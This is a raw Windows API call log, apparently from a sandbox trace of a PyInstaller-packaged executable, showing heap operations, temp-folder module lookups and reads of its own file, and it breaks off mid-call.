[0075.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0075.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317f3c8 | out: hHeap=0x2ad0000) returned 1 [0075.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x108) returned 0x2a1ad48 [0075.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0075.067] GetCurrentThreadId () returned 0x9b0 [0075.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fab18 [0075.067] GetCurrentThreadId () returned 0x9b0 [0075.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.067] GetCurrentThreadId () returned 0x9b0 [0075.067] GetCurrentThreadId () returned 0x9b0 [0075.067] GetCurrentThreadId () returned 0x9b0 [0075.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.067] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x14) returned 0x2ab8ce8 [0075.067] GetCurrentThreadId () returned 0x9b0 [0075.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.068] GetCurrentThreadId () returned 0x9b0 [0075.068] GetCurrentThreadId () returned 0x9b0 [0075.068] GetLastError () returned 0x0 [0075.068] GetLastError () returned 0x0 [0075.068] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\importlib", lpFindFileData=0x9ba3b8 | out: lpFindFileData=0x9ba3b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x3130318, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x3130318, ftLastWriteTime.dwHighDateTime=0x9ba3e8, nFileSizeHigh=0x9ba3fc, nFileSizeLow=0x73013d47, dwReserved0=0x9ba3f4, dwReserved1=0x0, cFileName="\xdc\xa4\x9b", cAlternateFileName="")) returned 0xffffffff [0075.068] GetLastError () returned 0x2 [0075.068] GetLastError () returned 0x2 [0075.068] GetLastError () returned 0x2 [0075.068] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\importlib", nBufferLength=0x104, lpBuffer=0x9ba4f8, lpFilePart=0x9ba350 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\importlib", lpFilePart=0x9ba350*="importlib") returned 0x35 [0075.068] GetLastError () returned 0x2 [0075.068] GetLastError () returned 0x2 [0075.068] GetLastError () returned 0x2 [0075.068] GetLastError () returned 0x2 [0075.068] GetLastError () returned 0x2 [0075.068] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9ba3b8 | out: lpFindFileData=0x9ba3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bef987, dwReserved1=0x0, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x10555e0 [0075.069] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3cc, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0075.069] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0075.069] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3c4, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0075.069] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0075.069] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3bc, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0075.069] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0075.069] FindClose (in: hFindFile=0x10555e0 | out: hFindFile=0x10555e0) returned 1 [0075.069] GetLastError () returned 0x2 [0075.069] GetCurrentThreadId () returned 0x9b0 [0075.069] GetCurrentThreadId () returned 0x9b0 [0075.069] GetCurrentThreadId () returned 0x9b0 [0075.069] GetCurrentThreadId () returned 0x9b0 [0075.069] GetCurrentThreadId () returned 0x9b0 [0075.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.069] GetCurrentThreadId () returned 0x9b0 [0075.069] GetCurrentThreadId () returned 0x9b0 [0075.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.069] GetCurrentThreadId () returned 0x9b0 [0075.069] GetCurrentThreadId () returned 0x9b0 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.070] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x14) returned 0x2ab8ce8 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.070] GetCurrentThreadId () returned 0x9b0 [0075.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.071] GetCurrentThreadId () returned 0x9b0 [0075.071] GetCurrentThreadId () returned 0x9b0 [0075.071] GetLastError () returned 0x2 [0075.071] GetLastError () returned 0x2 [0075.071] GetLastError () returned 0x2 [0075.071] GetLastError () returned 0x2 [0075.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84c0 | out: hHeap=0x2ad0000) returned 1 [0075.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b100 [0075.071] GetLastError () returned 0x2 [0075.071] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.071] GetFileType (hFile=0x2d8) returned 0x1 [0075.071] GetLastError () returned 0x0 [0075.071] GetCurrentThreadId () returned 0x9b0 [0075.071] GetLastError () returned 0x0 [0075.071] GetFileType (hFile=0x2d8) returned 0x1 [0075.071] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0075.071] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.071] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.071] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.072] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.072] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.072] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.072] GetLastError () returned 0x0 [0075.072] GetCurrentThreadId () returned 0x9b0 [0075.072] GetLastError () returned 0x0 [0075.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20228 | out: hHeap=0x2ad0000) returned 1 [0075.072] GetLastError () returned 0x0 [0075.072] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=7860523, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x77f12b [0075.072] GetLastError () returned 0x0 [0075.072] GetCurrentThreadId () returned 0x9b0 [0075.072] GetLastError () returned 0x0 [0075.072] GetCurrentThreadId () returned 0x9b0 [0075.072] GetLastError () returned 0x0 [0075.072] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8150541, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x7c5e0d [0075.072] GetLastError () returned 0x0 [0075.072] GetCurrentThreadId () returned 0x9b0 [0075.073] GetLastError () returned 0x0 [0075.073] GetCurrentThreadId () returned 0x9b0 [0075.073] GetLastError () returned 0x0 [0075.073] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2cc44d8*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0075.073] GetLastError () returned 0x0 [0075.073] GetCurrentThreadId () returned 0x9b0 [0075.073] GetLastError () returned 0x0 [0075.073] GetCurrentThreadId () returned 0x9b0 [0075.073] GetLastError () returned 0x0 [0075.073] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x7c6e0d [0075.073] GetLastError () returned 0x0 [0075.073] GetCurrentThreadId () returned 0x9b0 [0075.073] GetLastError () returned 0x0 [0075.073] GetLastError () returned 0x0 [0075.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc44d8 | out: hHeap=0x2ad0000) returned 1 [0075.073] CloseHandle (hObject=0x2d8) returned 1 [0075.074] GetLastError () returned 0x0 [0075.074] GetCurrentThreadId () returned 0x9b0 [0075.074] GetLastError () returned 0x0 [0075.074] GetCurrentThreadId () returned 0x9b0 [0075.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x317d7f0 [0075.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x317f3c8 [0075.074] GetLastError () returned 0x0 [0075.074] GetCurrentThreadId () returned 0x9b0 [0075.074] GetLastError () returned 0x0 [0075.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.074] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x317f3c8, Size=0x2dd) returned 0x317f3c8 [0075.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81f0 [0075.074] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca81f0, Size=0x20) returned 0x30283a0 [0075.074] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283a0, Size=0x40) returned 0x2a19130 [0075.074] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a19428 [0075.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0075.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317f3c8 | out: hHeap=0x2ad0000) returned 1 [0075.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0075.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9ed8 [0075.074] GetCurrentThreadId () returned 0x9b0 [0075.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.075] GetCurrentThreadId () returned 0x9b0 [0075.075] GetCurrentThreadId () returned 0x9b0 [0075.075] GetCurrentThreadId () returned 0x9b0 [0075.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.075] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x14) returned 0x2ab8ce8 [0075.075] GetCurrentThreadId () returned 0x9b0 [0075.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.075] GetCurrentThreadId () returned 0x9b0 [0075.075] GetCurrentThreadId () returned 0x9b0 [0075.075] GetCurrentThreadId () returned 0x9b0 [0075.075] GetLastError () returned 0x0 [0075.075] GetLastError () returned 0x0 [0075.075] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources", lpFindFileData=0x9ba3b8 | out: lpFindFileData=0x9ba3b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x3130598, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x3130598, ftLastWriteTime.dwHighDateTime=0x9ba3e8, nFileSizeHigh=0x9ba3fc, nFileSizeLow=0x73013d47, dwReserved0=0x9ba3f4, dwReserved1=0x0, cFileName="\xdc\xa4\x9b", cAlternateFileName="")) returned 0xffffffff [0075.075] GetLastError () returned 0x2 [0075.076] GetLastError () returned 0x2 [0075.076] GetLastError () returned 0x2 [0075.076] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources", nBufferLength=0x104, lpBuffer=0x9ba4f8, lpFilePart=0x9ba350 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources", lpFilePart=0x9ba350*="pkg_resources") returned 0x39 [0075.076] GetLastError () returned 0x2 [0075.076] GetLastError () returned 0x2 [0075.076] GetLastError () returned 0x2 [0075.076] GetLastError () returned 0x2 [0075.076] GetLastError () returned 0x2 [0075.076] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9ba3b8 | out: lpFindFileData=0x9ba3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bef987, dwReserved1=0x0, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x1055ba0 [0075.076] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3cc, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0075.076] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0075.076] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3c4, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0075.076] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0075.076] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3bc, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0075.076] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0075.076] FindClose (in: hFindFile=0x1055ba0 | out: hFindFile=0x1055ba0) returned 1 [0075.076] GetLastError () returned 0x2 [0075.076] GetCurrentThreadId () returned 0x9b0 [0075.076] GetCurrentThreadId () returned 0x9b0 [0075.076] GetCurrentThreadId () returned 0x9b0 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x14) returned 0x2ab8ce8 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] GetCurrentThreadId () returned 0x9b0 [0075.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.078] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x14) returned 0x2ab8ce8 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.078] GetCurrentThreadId () returned 0x9b0 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] GetCurrentThreadId () returned 0x9b0 [0075.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0075.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8370 [0075.080] GetCurrentThreadId () returned 0x9b0 [0075.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.080] GetCurrentThreadId () returned 0x9b0 [0075.080] GetCurrentThreadId () returned 0x9b0 [0075.080] GetCurrentThreadId () returned 0x9b0 [0075.080] GetCurrentThreadId () returned 0x9b0 [0075.080] GetCurrentThreadId () returned 0x9b0 [0075.080] GetCurrentThreadId () returned 0x9b0 [0075.080] GetCurrentThreadId () returned 0x9b0 [0075.080] GetLastError () returned 0x2 [0075.080] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9fe0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.080] GetFileType (hFile=0x2d8) returned 0x1 [0075.080] GetCurrentThreadId () returned 0x9b0 [0075.080] GetLastError () returned 0x0 [0075.080] GetFileType (hFile=0x2d8) returned 0x1 [0075.080] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba05c | out: lpFileInformation=0x9ba05c) returned 1 [0075.080] FileTimeToLocalFileTime (in: lpFileTime=0x9ba070, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.081] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.081] FileTimeToLocalFileTime (in: lpFileTime=0x9ba068, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.081] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.081] FileTimeToLocalFileTime (in: lpFileTime=0x9ba060, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.081] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.081] GetLastError () returned 0x0 [0075.081] GetCurrentThreadId () returned 0x9b0 [0075.081] GetLastError () returned 0x0 [0075.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.081] HeapFree (in: hHeap=0x2ad0000, 